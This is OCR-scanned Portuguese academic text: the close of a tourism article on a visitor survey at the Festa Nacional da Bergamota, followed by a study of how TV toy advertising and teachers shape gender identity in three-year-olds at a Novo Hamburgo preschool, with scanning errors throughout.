no estado, e mostrando o potencial da sua industria e comércio. Por este motivo muitos munici-
pios do Vale do Cai possuem pelo menos uma grande festa, como € o caso da Horténciofest,
evento principal do municipio de Séo José do Horténcio e a Festa do Moranguinho, que divulga
0 municipio de Bom Principio.

A Festa Nacional da Bergamota, ja esta na sua XIX edicao e ocorre no parque cen-

tenario do municipio. Apesar de cada uma das suas edicoes almejarem inovacodes, poucas

vezes seguiu-se a pre determinacao de a festa ser um evento bienal. Para que a festa continue
ocorrendo a cada dois anos se faz necessario um acompanhamento constante para saber se
0s objetivos da comissao organizadora foram atingidos e os pontos a melhorar. A pesquisa

de satisfacao do visitante € um instrumento importante de acompanhamento, uma vez que ela

reflete a impressao da amostra, e mesmo que estes resultados nao possam ser generalizados,
servem como base para que se corrijam possiveis pontos fracos e se potencialize os pontos
fortes nos eventos seguintes.

A pesquisa de satisfacao da XIX Festa Nacional da Bergamota foi realizada pela au
deste artigo como trabalho da conclusao do curso de Bacharel em Turismo. Este artigo a
trés graficos desta pesquisa demonstrando a viséao que a amostra composta de 232 pessoas

teve do evento. Entre os principais espagos/atividades do evento, destaque para os shows




musicais, seguido pela rua das flores e a ExpoCai. O resultado demonstra que o publico que
se dirige aos eventos municipais, vém atraido principalmente por shows musicais e compras.
O que deixa a reflexao sobre até que ponto se torna valido investir meses na organizacao e
desenvolvimento de um grande evento, que valorize a historia e as riquezas do municipio se o
publico em geral se interessa apenas pelos shows musicais. Talvez fosse menos exaustivo e
mais lucrativo a organizacao apenas de shows? Por outro lado se o proprio municipio nao va-
lorizar e nao demonstrar sua cultura e sua histéria quem mais ha de valoriza-la? Deixa-se estes
pontos importantes a serem analisados e repensados.

A criatividade na producao dos eventos pode colaborar para inovacao e maior valori-
zacao do publico pelas riquezas do municipio e nao atrai-los apenas com shows que muitas
vezes sao de artistas de nivel nacional, e nada tem haver com a identidade municipal e de sua
populagao. Por outro lado, a comissao organizadora da edicao 2014 da festa da Bergamota
obteve 99% de aprovacao da amostra no que se refere a estrutura geral oferecida e 97% da
amostra teve suas expectativas atendidas. O produto-chave da festa, ou seja, a bergamota, foi
considerada presente por 97% dos pesquisados demonstrando que a festa realmente fez valer
o0 nome do produto que leva seu nome.

Os resultados apresentados neste artigo representam que a comissao organizadora do
evento conseguiu atingir seus objetivos, deixando uma impressao positiva de forma, que ds
chances de o evento ser recomendado e de os visitantes retornarem ao evento sao anim
ras. Este fato contribui para direcionar os trabalhos de organizacao da proxima festa e aupnen-
tar a autoestima da populacéao local e principalmente dos muitos voluntarios que se dedigaram

para o sucesso do evento.




Sumario

A autora deste artigo espera que este possa contribuir para a reflexdo e melhora con-
tinua dos eventos municipais, principalmente na questao dos grandes shows e da valorizagao

da cultura dos municipios.
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Este estudo trata da estreita relacao entre infancia e midia e a construcao da identidade
de género das criangas. A pesquisa se estruturou através do mapeamento de propagandas
voltadas ao publico infantil que demarcam questoes hegemonicas de género, veiculadas
nas emissoras Cartoon Network, Discovery Kids e SBT (Sistema Brasileiro de Televisao)
no més de agosto de 2014; também a partir de oficinas com uma turma de criancas de
15 alunos, de trés anos de idade, em uma escola de Educacao Infantil da Rede Publica
do municipio de Novo Hamburgo/RS (buscando compreender como a midia influencia as
percepcoes das criangas sobre o género); e da aplicacao de questiondrio com professoras
da mesma escola e observacdo das suas praticas e decoragoes de suas salas de aula
(procurando perceber como as professoras enxergam a infancia contempordnea, como
percebem 3 influéncia da midia na construcdo da identidade das criancas e como suas
préticas podem colaborar nesse processo).

Palavras-chave: Infancias. Género. Midia. Estudos Culturais. Escola.

BSTRAC

This study treats the close relationship between childhood and media and the construction
of the gender identity of children. The research was structured through resources like to
map advertisements focused on the young public, which demarcate hegemonic gender
issues, broadcasted on the TV channels Cartoon Network, Discovery Kids and SBT (Sistema
Brasieliro de Televisao) in 2014, August, workshops with a class of 15 students with three
years old in a public school situated at Novo Hamburgo/RS (searching for the unders-
tanding of how might media influence the children’s perception about gender) and the
aplication of a questionnaire to teachers from the same school and observation of hers
practices and their classrooms decoration (seeking to understand how these teachers see
the contemporary childhood and how their practices may colaborate with this process).
Keywords: Childhoods. Gender. Media. Cultural studies. School.




INTRODUCAO

Figura 1: Barbie Penteado Magico
Fonte: Youtube

Figura 2: Max Steel.
Fonte: Youtube

Iniciamos a apresentacao deste estudo, que trata da estreita relagdo entre infancia,
midia, escola e a construcao da identidade de género das criancas, privilegiando analises que
contemplam a funcao que a midia e a escola de Educacao Infantil possuem no processo da
fabricacdo da identidade dos sujeitos, com duas imagens de propagandas que compdem o
corpus da pesquisa.

Metodologicamente, a pesquisa se estruturou através do mapeamento de propagandas
voltadas ao publico infantil e que demarcam questdes hegemonicas de género, veiculadas nas
emissoras Cartoon Network, Discovery Kids e SBT (Sistema Brasileiro de Televiséo) no més de
agosto de 2014. Foram mapeadas 15 diferentes propagandas que demarcavam as questoes
de género, veiculadas repetidamente e de maneira aleatéria nas emissoras; de oficinas com
uma turma de criangas de 15 alunos, de trés anos de idade, em uma escola de Educacao
Infantil da Rede Publica do municipio de Novo Hamburgo/RS (buscando compreender como a
midia influencia as percepcoes das criancas sobre o género); e da aplicagéo de questionario
com professoras da mesma escola e observacéo das suas praticas e decoracbes de suas sa-
las de aula (procurando perceber como as professoras enxergam a infancia contemporanea,
como percebem a influéncia da midia na construcéo da identidade das criangcas e como suas
praticas podem colaborar nesse processo).

Valendo-nos de aportes tedricos nos estudos de género pos-estruturalistas, discutimgs
questdes binarias e hegemdnicas que transitam na midia, atraves da publicidade televigiva
dirigida as criancas, € na escola de Educacao Infantil, problematizando a funcao edu
dessas duas instancias e como elas podem, muitas vezes, reforcar alguns padroes sobre os

modos de viver o género e a sexualidade, regulando os individuos.




u " - o . o
AMO 0 ROSA. A frase que intitula este capitulo foi retirada da propaganda Barbie Penteado Magico',
mapeada durante este estudo (Figura 1). A boneca, produzida pela Mattel, é indicada para

meninas de 3 a 10 anos de idade’. E, conforme descricdes contidas no site da empresa sobre

a boneca,

Esta linda princesa tem longos e maravilhosos cabelos que as meninas iréo
adorar “cortar” e estilizar varias vezes! Elas podem prender os trés apliques e
adicionar divertidas mechas coloridas, ou até mesmo deixar o cabelo da Barbie
ainda mais longo. Na hora de mudar o visual, da para “cortar” os apliques usan-
do as “tesouras” de brinquedo e comegcar tudo de novo em uma brincadeira
sem fim (MATTEL, 2014, s.p.).

Trazemos aqui essas informagdes sobre um dos brinquedos anunciado na televisao e

que foi mapeado durante essa pesquisa para ilustrar a maneira como a midia opera na cons-

trucao da identidade de género das criancas na cultura atual. Através das frases enunciadas
na propaganda, como “Amo o rosa!”, e das informacdes contidas no site sobre como se brinca
com esse brinquedo e a quem ele se destina, é facil perceber que modos naturalizados de ser

mulher sao reforgados.

A mesma situacao tambem pode ser percebida quando a publicidade se dirige ao
publico infantil masculino, no momento em que slogans como “O heroi esta em vocé!” séo uti-
lizados durante a propaganda do brinquedo Max Steel Turbo Voo’, também mapeado através

do estudo. A figura 2, que abre este artigo, foi retirada da propaganda, que mostra o Max Steel

! Veiculada na emissora Cartoon Network no més de agosto de 2014 e disponivel em <http://www.youtube.com/watch?v=TtrOgugis Yw#>.
? Dado disponivel em: <http://www.mattelbrasil.com.br>, acesso em 26 ago. 2014.
? Veiculada na emissora Discovery Kids no més de agosto de e disponivel em <http://www.youtube.com/watch?v=18H2PVA_Al



http://www.youtube.com/watch?v=Ttr0gugusYw
http://www.mattelbrasil.com.br
http://www.youtube.com/watch?v=18H2PVA_AlQ

se transformando em um heroi por meio da cena de um “homem”, com musculos aparentes e
transmitindo a ideia de estar fazendo forga.
Através dos brinquedos anunciados as criancas por meio da publicidade televisiva, &

facil perceber que “em suas brincadeiras, as meninas tém liberdade para serem cozinheiras,

cabeleireiras, fadas, madrinhas, maes que limpam seus filhos, enfermeiras etc., brincadeiras
que denotam o carater pacifico a elas atribuido” (MORENO, 1999, p. 31). Ja aos meninos, séo
anunciados brinquedos que carregam significacdes em relacéo a forca, virilidade, agilidade
e aventura. Os signos de masculinidade transmitidos pela midia ao publico infantil masculino
compartilham, compreendem e reproduzem caracteristicas da identidade heterossexual, sub-
jetivando que se esses elementos estiverem “ausentes” em um homem/menino “comprometem”

sua sexualidade. Com frequéncia, a publicidade, com a intencao de vender determinado pro-

duto, apresenta imagens hegemonicas as criangas, mas € preciso levar em conta que essas
imagens carregam signos e representacoes sobre os modos de ser e se portar dos individuos.
E significativo salientar que vivemos um tempo em que somas significativas do orca-

mento de marketing brasileiro’ e internacional visam atingir a crianca de diferentes formas.

Um exemplo disso é o fato de o consumo infantil (entre criangas de 4 a 12 anos de idade) ter
crescido cerca de 400% nos Ultimos 20 anos’. E, no que se refere a regulamentagao da publi-
cidade voltada as criancas, cabe destacar que, segundo dados Conselho Nacional de Aut

regulamentacao Publicitaria (CONAR), no ano de 2013 foram abertos 340 processos, segupdo

)

| Faz-se

“* Sobre a relevancia de se discutir esse tema na contemporaneidade, vale ressaltar que o Exame Nacional do Ensino Médio (ENEN) deste
ano (ocorrido nos dias 8 e 9 de novembro de 2014) abordou a questao da publicidade infantil no Brasil em seu tema de redaga
necessario que todos, inclusive os jovens, pensem e discutam essa realidade que compde as infancias na atualidade

° Fonte: McNeal, em SCHOR, 2009, p. 18.




a origem de denuncia, e 8,2% desses processos resultaram de questionamentos a publicidade
voltada para o publico infantil®. Também se torna valido destacar que, recentemente, ha uma
moc¢ao acontecendo no Brasil em apoio a Resolugao n® 163/2014 do Conselho Nacional dos Di-
reitos da Crianga e do Adolescente (Conanda), “que considera ilegais e abusivas a publicidade
e a comunicagdo mercadoldgica dirigida as criangas (PROTESTE, 2014, p. 141).

Nao se pode subestimar o papel da midia da educagao, que nao se da apenas no
ambito escolar e familiar, mas também através da televiséo, publicidade, revistas e de todos os
outros meios pelos quais ela propaga (MEYER e SOARES, 2008). De acordo com o que Ruth
Sabat (1999) apresenta,

Trabalhar com as representacdes de género e de sexualidade na publicidade
comporta um potencial critico, pois é possivel identificar de que formas séo

socialmente construidos os tipos de corpos, modos de viver, comportamentos
e valores ai representados (p. 245).

Para a autora (idem), a midia possui multiplas possibilidades educativas, no momento
em que a partir dela se torna possivel educar os sujeitos para que vivam de acordo com regras
e padroes estabelecidos socialmente, sendo assim, a midia, uma das instituicoes que tambem
€ produtora de cultura, de significados e representagoes.

Cabe destacar aqui também que género nao é sindénimo de sexualidade, uma vez q
ela se refere aos modos de se viver 0s desejos e prazeres corporais enquanto género est;
gado as condi¢oes sociais pelas quais somos identificados como homens e mulheres (WEEKS,

1993 apud LOURO, 1995, p. 80).

° Dados disponiveis em : <www.conar.org.br/>. Acesso em 17 ago. 2014.



http://www.conar.org.br/

3 A PROPAGANDA
QUE DIZ QUEE SO
NINO QUE PODE
CAR” - 0 GENE-

Porém, como enfatiza Louro (1997), ndo ha como discutir género e compreendé-lo atra-
vés do dicionario. Para a autora, é preciso considerar que as palavras possuem historia, que
fazem histéria, que sao instaveis e permeadas por apelos. Por isso, € de relevancia entender
que o conceito de género na contemporaneidade esta atrelado a sua histéria e ao movimento
feminista e suas lutas, assim como a Teoria Queer, que, como ressalta a autora, serviu como
um xingamento aos homossexuais, sendo sindbnimo de ridiculo, excéntrico, mas ao sofrer esses
ataques sociais, 0s gays e lésbicas resolveram adotar essa teoria para representar “a diferenca
que nao quer ser assimilada ou tolerada” (LOURO, 2001, p. 6).

Faz-se necessario, além de analisar como as identidades de género sao constituidas na
infancia e como a midia e a publicidade operam nessa construcao, apresentando paradigmas
hegemonicos sobre modos de ser, se portar, brincar e agir, investigar como os professores das
criangas na mais tenra idade percebem e lidam com todas essas influéncias e como a forma-
céo desses profissionais colabora (ou ndo) para o entendimento e trabalho com a constituicéo
das identidades dos infantes, uma vez que “a escola ¢ atravessada pelos géneros” (LOURO,

1997, p. 89).

- “E se o carrinho fosse rosa?”.

- “Se o carrinho fosse rosa, dal menina podia brincar, mas se & de outra cor, ndo” [sic).
A fala que compde o titulo e as falas acima se trata de um dialogo que tivemos com um

menino de trés anos de idade de uma escola de Educacéao Infantil da Rede Publica def Novo




Hamburgo/RS, obtido através da primeira’ oficina realizada com a turma da escola referida, no
momento em que as criancas assistiram as propagandas que foram mapeadas durante esse
estudo.

No momento do didlogo em especifico, a turma assistia a propaganda Hot Wheels Pista

Vertical’ e, ao enunciar que o brinquedo anunciado se destina somente a criancas do sexo
masculino, questionei 0 menino sobre quem havia dito a ele que se tratava de um brinquedo
“s6 para meninos”, e foi entdo que ele respondeu que “a propaganda que diz que s6 menino
pode brincar”.

Diante desse discurso de uma crianga de trés anos de idade, é possivel perceber como
a midia opera na construgdo das identidades, propagando, em diversos momentos, signos e

discursos hegemonicos sobre o universo masculino e feminino. No momento em que a crianca

reforca que se o carrinho da Hot Wheels fosse rosa as meninas poderiam brincar, percebe-se,
de maneira nitida, como binarismos ainda sao presentes na contemporaneidade, uma vez que
a publicidade, além de auxiliar na formatagdo dos sujeitos, também narra o que somos, o que
pensamos, 0 que vivemos.

Durante a oficina, pude escutar’ discursos de todas as criancas em relaco ao género e
a quem se destinava determinado brinquedo, bem como o desejo de consumo das imagens e

modos de ser representados nas pecas publicitarias. Portanto, trazemos aqui alguns recorteg:

" Realizada no dia 19 de agosto de 2014.
® Veiculada na emissora Cartoon Network em agosto de 2014.
° Todas as falas foram registradas em Diario de Campo. Primeiramente gravadas e, apés, transcritas (19/08/2014).




“So as meninas podem brincar com esse brinquedo” (Menino, 3 anos, ao assistir
a propaganda da boneca Esquestria Girls. D.C. 19/08/14.)

“Eu sou a sereial” (menina, 3 anos, ao assistir a propaganda Barbie Sereia. D.C.
19/08/14).

“Uou, Max Steell E de herdil Nem pensar pra menina! S6 de menino!” (Menino, 3
anos, ao assistir a propaganda Max Steel Turbo Voo. D.C.19/08/14).

Ao entrar em contato com esses discursos hegemonicos e naturalizados de criancas
tao pequenas, somos interpelados a pensar na expressiva maneira como conceitos naturaliza-

dos sobre ser homem e ser mulher sao presentes no cotidiano das criangas. Segundo dados

apresentados pelo Instituto Alana’®, a crianca brasileira € uma das que mais assiste televisao
no mundo: € um total de 5 horas, 4 minutos e 23 segundos, em média, em frente a TV por dia.
E possivel lancar a discussao de que as imagens e discursos que veiculam na midia

acionam efeitos de “verdade” e que contribuem significativamente na formacéao dos sujeitos.

Segundo Fischer (2001, p. 18), “a presenca da TV na vida cotidiana tem importantes repercus-
sOes nas praticas escolares, na medida em que criangas, jovens e adultos de todas as cama-
das sociais empreendem modos de ser e estar no mundo também nesse espaco da cultura’
Por isso a necessidade de analisar a construgdo de uma infancia generificada que vai a escpla

e como a midia esta entrelacada nesse processo.

" Dados divulgados pelo Ibope. Informagdes disponiveis em: <http://defesa.alana.org.br/post/32806872923/um-carrossel-defvendas-
marca-de-sabonete-invade-novela>. Acesso em 14 set. 2014.


http://defesa.alana.org.br/post/32806872923/um-carrossel-de-vendas-marca-de-sabonete-invade-novela
http://defesa.alana.org.br/post/32806872923/um-carrossel-de-vendas-marca-de-sabonete-invade-novela

Figuras 3 e 4: Criangas brincando.
Fonte: Registros da autora

No segundo momento da oficina aqui em questao, fo-
ram disponibilizadas a turma casinhas de madeira, moveis de
madeira e bonecos e bonecas de pano para brincar. E, nesse
instante, foi possivel reafirmar a maneira como a midia pode
influenciar as criangas no momento da escolha dos seus brin-
quedos e como “devem” se portar os meninos € as meninas,
pois, ao entrar em contato com esses brinquedos que nao es-
tao sendo veiculados na midia atraves da publicidade televisi-
va, as criangas brincaram livremente e nao emitiram discursos
que pudessem fazer alusao as questoes de género.

Ao presenciar situagdes como essa, em que as crian-
cas, apos terem assistido a varias propagandas de brinquedos
que julgaram “ser de menino” ou “ser de menina” e que nao
poderiam criar possibilidades de brincar juntos, brincaram de
maneira integrada, sem questionar, com brinquedos que nao

estdo em pauta na publicidade, e possivel que nos questio-

nemos sobre a maneira que a pedagogia da midia reforca
limita as possibilidades de brincadeiras das criangas, emitin
discursos e imagens que carregam a ideia de que menin
meninas “nao podem” brincar juntos, que cada um possui 0

seu papel de acordo com 0 género.




Figuras 5 e 6: Criangas escolhendo seu brinquedo preferido através das imagens.

Fonte: Registros da autora

Somente foram utilizadas imagens de criangas em que
0S responsavels preencheram e assinaram o Termo de
Autorizagao do Uso de Imagem

Através do material coletado durante a pesquisa, consta-
ta-se que a publicidade, além de vender produtos e brinquedos,
também vende uma imagem impetuosa, agil e valente aos me-
ninos, e uma fragil, fashion e materna as meninas, como carac-
teristicas tipicas, naturais e imutaveis aos sujeitos. Ao entrar em
contato com essas representacoes durante os anuncios veicu-
lados na TV, nota-se que as criangas nao demonstram se sentir
a vontade para brincarem juntas, no entanto, quando sao pro-
porcionadas a elas brinquedos e artefatos que estao longe das
lentes da publicidade, demonstram sentirem-se livres para brin-

car e para experimentar diferentes papeéis durante a brincadeira.

3.1 “FU GOSTO DA BARBIE PORQUE ELA USA
SALTO ALTO E VESTIDO!” - A CONSTRUCAO DE
UMA INFANCIA GENERIFICADA

Esse discurso foi obtido através da segunda oficina,

quando as criancas tiveram de optar pelo brinquedo que mais,

lhe agradava, dentre daqueles anunciados e exibidos na ofi¢i-
na anterior, através de imagens e, apos isso, justificar o porqué
da preferéncia. As imagens'' trazem recortes das escolhag das

criancas e de como se procedeu a atividade.




No momento da escolha das imagens, as meninas escolheram diretamente figuras de
brinquedos como a Barbie e Esquestria Girls e, ao justificarem o porqué da preferéncia, trou-
xeram falas como “eu gosto da Barbie porque ela usa salto alto e vestido”, “eu gosto da
Esquestria Girls porque ela é bonita, todo mundo diz que ela & bonita”.

Falas como essas das meninas evidenciam o quanto a questao da “beleza” e os pa-
droes que envolvem esse assunto estao presentes na escolha dos brinquedos e como elas
percebem que “gostar do que € belo” do que € “considerado bonito” as coloca em cena e no
padrao natural ainda presentes na cultura atual, passando a ideia de que o consumo de estilos
de vida e padrdes de beleza ¢ o caminho de “merecimento” e “pertencimento” a sociedade.
Conforme Bauman (2008, p. 108) discute,

O processo de autoidentificac@o é perseguido, e seus resultados sao apresen-
tados com a ajuda de “marcas de pertenca” visiveis, em geral encontradas nas
lojas. A referéncia a “estar a frente da tendéncia de estilo” transmite a promessa

de um alto valor de mercado e uma profusdo de demanda (ambos traduzidos
como certeza de reconhecimento, aprovagao e inclusao).

Ja os meninos escolheram somente dois tipos de brinquedos: Max Steel ou os carrinhos
Hot Wheels. Assim como as meninas, fizeram a escolha da imagem de maneira direta, justi-
ficando a preferéncia por ser “brinquedo de menino” ou pela ideia de forga e aventura que
brinquedo Max Steel carrega.

Cabe ressaltar que, antes da atividade, foram mostradas as criancas as imageng de
todos os brinquedos, a fim de perceber se elas os reconheciam fora do contexto da pfopa-
ganda. Destacamos, entao, que nessa situacao a turma soube mencionar o nome de todos 0s

brinquedos.



Durante a escolha dos brinquedos representados através das imagens, as criancas
trouxeram discursos que retrata a infancia generificada que temos na contemporaneidade e a

contribuicdo da midia na construgao dessa infancia:

“Ele gosta do Max Steel porque ele ¢ menino.” (menino, 3 anos de idade, D.C.
26/08/2014.

“Ela tem que gostar da Barbie sereia porque ela € menina também. A TV da minha
mée diz que é de menina.” (menina, 3 anos de idade, D.C. 26/08/2014).

“O menino ndo pode pegar a Barbie Sereia.” (menino, 3 anos de idade,
D.C.26/08/2014).

A partir desses dados, somos interpelados a refletir sobre os modos de representacao
do que é “masculino” e do que € “feminino” atraves da publicidade televisiva para as criancas.

Percebe-se que cada um dos géneros carrega, nessas representacoes, oposicao e polaridade.

As meninas aprendem a “gostar” e a se identificar com imagens que carregam significados
sobre a beleza hegembnica, a meiguice, a fragilidade, a um mundo cor-de-rosa. Meninos sao
convidados a entrar em um mundo de acao, aventura e coragem. Mas o fato mais salienfe
nesse contexto “é que a maioria dos atributos presentes em um género esta excluida autopna-
ticamente de outro” (AUAD, 2012, p. 22).

Nessa perspectiva, apontamos que os estudos sobre o género devem ir além da dis-

cussdo de papeis e funcdes do homem e da mulher e como esses séo representados na




midia. Portanto, quando destacamos o fato de meninas e meninos “aprenderem” a se ver na
midia, pretendemos ir além, problematizando os signos que essas representacdes sobre o ser
homem e a ser mulher carregam. Dessa forma, deve-se considerar que os géneros produzem
e organizam a cultura e a sociedade (MEYER, 2005) e, quando criangas ainda na primeira
infancia dizem que gostam da Barbie por causa dos apetrechos que ela usa e do Max Steel
por ele ser um heroi forte, elas estao querendo sinalizar muito mais que uma preferéncia: elas
denunciam que a infancia contemporanea esta enredada por binarismos, por visées hegemoni-
cas sobre 0 género, nao admitindo que meninos e meninos possam gostar das mesmas coisas
OU assumir 0s mesmos papeis.

Nessa direcao, Antonio Moreira (2005), ao fazer referéncia a Sousa Santos (1997), afir-
ma que “as pessoas tém direito a serem iguais sempre que a diferenca as tornar inferiores;
contudo, tém também direito a serem diferentes sempre que a igualdade colocar em risco suas
identidades” (p. 128). No delineamento da consideracdo do autor, ressaltamos que as crian-
cas tém direito a fazer suas escolhas e nao criticamos o fato de as meninas quererem fazer
de conta que sao sereias, modelos, maes e de 0s meninos apresentarem o desejo de serem
um super heroéi, mas se torna importante refletir os motivos e os meios que fazem as criangas

apresentarem esses desejos. Assim como 0s meninos, por que as meninas demonstram n&o se

sentir a vontade para ser um heroi? Por que meninos demonstram desconforto em pegar uma
boneca e fazer de conta que sao pais, por exemplo?

Tais indagacdes podem ser ilustradas pelo segundo momento da oficina que [aqui
esta sendo analisada: quando foram disponibilizados as criancas brinquedos como a Barbie

e carrinhos da Hot Wheels para que brincassem, em nenhum momento as criancas se inte-




Figuras 7 e 8: Meninas e meninos brincando.

Fonte: Registros da autora

graram. Meninas brincaram com as Barbies € meninos com
os carrinhos. Em certos momentos, os meninos demonstraram
curiosidade em brincar com as Barbies, mas as meninas nao
permitiram, anunciando “Saem daqui, aqui s6 menina pode
brincar!” (D.C. 26/08/14). A seguir, alguns registros fotografi-
cos da interacao das criancas nesse momento.

Esses registros obtidos do momento do brincar da
crianga, apesar de revelar um ato de brincadeira simboalica,
também levantam discussdes sobre 0 porqué meninas € me-
ninos nao se integraram para brincar com as bonecas Barbie
e os carros Hot Wheels ofertados na oficina. Meninas nao nas-
ceram com caracteristicas naturais que as fazem gostar de
rosa, a exaltar a beleza hegemonica e com “vocagao” para
se dedicar aos cuidados da casa e dos filhos, assim como os
meninos nao nascem com vontades intrinsecas a apreciar car-
ros e aventuras. Todo esse contexto resulta “do modo como as
relagcoes de género foram construidas na nossa sociedade ao

longo do tempo” (AUAD, 2012, p. 39).




A ESCOLAE OS
ROFESSORES DA
EDUCACAO INFANTIL

Através das oficinas realizadas com as criangas da Educagao Infantil da escola publica,
percebeu-se que a cultura atual, da midia, desconsidera, na maioria das vezes, as multiplas
infancias que circundam no mundo contemporaneo e, os discursos e atitudes dos infantes,
diante desse contexto, mostram uma infancia generificada que vai a escola. Portanto, torna-se
proeminente analisar como os professores percebem e trabalham com essa infancia que fre-
quenta a Educacao Infantil.

Para tanto, serdo analisados os discursos dos professores em relacao a tematica, obti-
dos atraves dos questionarios aplicados, de observacdes das salas de aula e das agdes des-
ses profissionais quando as questdes de género se destacam no cotidiano escolar.

Portanto, a seguir, apresentamos um recorte dos dados obtidos que mais se destaca-
ram nos questionarios com as professoras e nas observagoes. Aproveitamos para frisar que a
analise desses dados nao pretende fazer “juizo de valores” em relagao a pratica das professo-
ras, mas lancar algumas percepcoes e consideragoes acerca de como os docentes trabalham
com a influéncia da midia como um fator que contribui na construcéo da identidade de género
das criancas e como a pratica da escola pode reforcar ou até criar representacdes hegemoni-
cas sobre 0s géneros.

Com o intuito de preservar a identidade das professoras que aceitaram'' contribuir com

a pesquisa, durante as analises elas serao referidas conforme consta no quadro abaixo:

" Todas as professoras que participaram da pesquisa assinaram um termo de consentimento livre e esclarecido.




SIGLA SEXO FORMAGAO TEMPO DE ATUAGAO NA E.I.
P1 Feminino Magistério / Pedagogia em andamento 2 anos
P2 Feminino Magistério / Letras N&o informou
P3 Feminino Magistério / Pedagogia em andamento 7 meses
P4 Feminino Pedagogia N&o informou
P5 Feminino Pedagogia 12 anos

Quadro 1: Perfil das professoras
Fonte: Elaborado pela autora

4.1 “MENINAS SAO CIUMENTAS, CHORONAS... 0S MENINOS SAO
MAIS BRIGUENTOS” - REFORCANDO BINARISMOS

Através das analises realizadas, foi possivel perceber que as professoras das criangas
da Educacéao Infantil ainda interpretam as caracteristicas de meninos € meninas de maneira
binaria. Ao serem questionadas sobre como percebem as caracteristicas dos meninos e das

meninas, as professoras responderam:

P2: “As caracteristicas mais marcantes que percebo entre os meninos e meninas sdo nas
brincadeiras. Hoje em dia, mesmo com toda tecnologia e ideias ‘mais abertas’, aind.
existe uma divisdo nas brincadeiras. Os meninos brincam de bola, carrinho, e meninas de

casinha, bonecas”.




P3: “As meninas sdo calmas e aceitam dividir a brincadeira e o brinquedo com os meni-
nos. Os meninos sdo agitados e criteriosos na questdo de meninos e meninas, ndo aceitam
esse envolvimento. Porém demonstram muita curiosidade pelas brincadeiras e brinquedos

das meninas”.

P4: “Os meninos sdo agressivos na resolugdo dos conflitos, ndo pedem auxilio da profes-
sora nesse momento. Ja as meninas demonstram maior independéncia na realizagdo das

tarefas e nos conflitos pedem ajuda da professora’.

P5: “As meninas sao mais vaidosas, gostam de se arrumar, trocar de roupa. Os meninos

sdo mais falantes”.

Através das impressdes das professoras, além da relacéo binaria que é feita sobre as
caracteristicas de cada género, percebe-se a influéncia da publicidade no comportamento que

destacam sobre meninos e meninas. Quando a P1 e a P4 afirmam que 0s meninos sao “mais

agressivos” para resolver os conflitos, ndo solicitando interferéncia da professora, € possivel se
fazer relacao com as caracteristicas que a midia televisa anuncia para meninos através da publi-
cidade, conforme discussao langada anteriormente: meninos sao “fortes”, “valentes”, “aventurej
ros”. Portanto, percebe-se um comportamento dos meninos no cotidiano escolar que faz alugao
a certos padroes que envolvem as caracteristicas masculinas apresentadas pela midia.

Desse modo, percebe-se que essas distincdes sobre o masculino e o feminino estao

naturalizadas na cultura e nao é diferente na escola. Professoras caracterizam meninas/como



“choronas” e meninos como “briguentos” como se esses atributos langados as criangas fossem
algo inato e estampado no sujeito de acordo com seu género. Nessa perspectiva, Louro (1997,

p. 27) enfatiza que

O que importa [...] considerar € que — tanto na dinamica do género como na
dindmica da sexualidade — as identidades s&ao sempre construidas, elas ndo
sdo dadas ou acabadas num determinado momento. Nao é possivel fixar um
momento — seja 0 nascimento, a adolescéncia ou a maturidade — que possa ser
tomado como aquele em que a identidade sexual e/ou a identidade de género
seja “assentada” ou estabelecida. As identidades estao sempre se construindo,
elas sao instaveis e, portanto, passiveis de transformacao.

Quando a P3 destaca que meninos ndo permitem que meninas participem de certas

brincadeiras, mas que, ao mesmo tempo, demonstram curiosidade pelas brincadeiras “das

meninas”, nota-se que as criancas da Educacao Infantil, muitas vezes, nao se permitem brincar
de maneira integrada e nem partilhar, meninos e meninas, das mesmas brincadeiras, mesmo
que demonstrem vontade de experimentar diferentes brinquedos. No entanto, uma vez que

a escola busca (ou deva buscar) o desenvolvimento integral dos sujeitos, nela deve ocorrer,

de forma permanente, a compreensao de que ha muitas maneiras de vivenciar os géneros.
No ambiente escolar, torna-se imprescindivel a criagao de possibilidades para que meninos
e meninas possam brincar juntos. Mesmo que se trate de criancas pequenas, € de extre
relevancia, nas turmas de Educacao Infantil, “questionar e discutir o determinismo social
géneros” (FELIPE e GUIZZO, 2008, p. 37).

A P5 destaca o fato de meninas serem “vaidosas”, gostarem de se “arrumar” e, ai, per-

cebe-se a maneira como meninas assumem papeis e posturas hegemoénicas de acordp com



0 que ¢ determinado socialmente para pessoas do género feminino e reforcado pela publici-
dade. A partir das observagoes, percebeu-se que as professoras, muitas vezes sem querer,
acabam reforcando alguns padroes de comportamento as criancas em relacao aos géneros,

no momento em que, durante suas praticas, emitem aos pequenos discursos como:

“Sossega um pouco. Tu tem que se acalmar. Tu € menina. Tem que ser delicada.
Querida. (sic)” (Fala da P3 dirigida a uma menina de 2 anos de idade enquanto
corria pela sala de aula com alguns meninos — D.C. 18/08/2014).

“Eu acho que quando ele crescer ele vai aflorar. Ele tem umas coisas estranhas...
danca que nem menina (sic)” (Fala da P5 sobre um menino de 3 anos de idade
enquanto as criangas dangavam na sala de aula — D.C. 21/08/2014).

“Tu tem que ser um principe, tu € menino (sic)” (Fala da P1 dirigida a um menino de
3 anos de idade enquanto brincava com fantasias e usou um vestido, dizendo que
era uma princesa — D.C. 29/08/2014).

Frente a esses discursos das professoras, dirigidos a criancas tao pequenas, € pos-
sivel afirmar que as docentes, “frequentemente, acabam se tornando ‘vigilantes’ da possiv
orientacdo sexual das criancas” (MEYER e SOARES, 2008, p. 34), demonstrando preocupagéo
quando meninos, durante um ato de brinquedo simbdlico, escolhem vestidos para usar no/oau
de fantasias, quando dancam de determinada maneira, ou quando meninas brincam de manei-

ra mais ativa junto a um grupo de meninos.



Pela fala da P1, dirigida a um menino de 3 anos, afirmando que ele nao poderia assu-
mir papel de “princesa” na sua brincadeira, e, sim, de principe, & possivel perceber que as
professoras tentam regular as brincadeiras das criancas de acordo com o género. Meyer e

Soares (2008) destacam que a escola € uma das instancias autorizadas a educar na cultura

atual e, portanto, a produzir e regular os sujeitos - e isso envolve o regulamento dos corpos “tal
como ele deve ser” (p. 7). Assim, percebe-se que as professoras, em diversos momentos, ndo
permitem ou, se permitem, enxergam como “estranho” o fato de um menino experimentar um
papel de princesa em sua brincadeira, uma menina correr junto a um grupo de meninos, um
menino dancar “como menina” durante uma musica. Frente a essa realidade, constata-se que
“a escola nega outras formas de viver o género e a sexualidade ou tenta ‘corrigi-las™ (MEYER

e SOARES, 2008, p. 11).

Ao serem questionadas sobre a diferenciacao de brinquedos para meninas € meninos,
todas as professoras responderam nao proporcionar brinquedos diferentes para meninos e
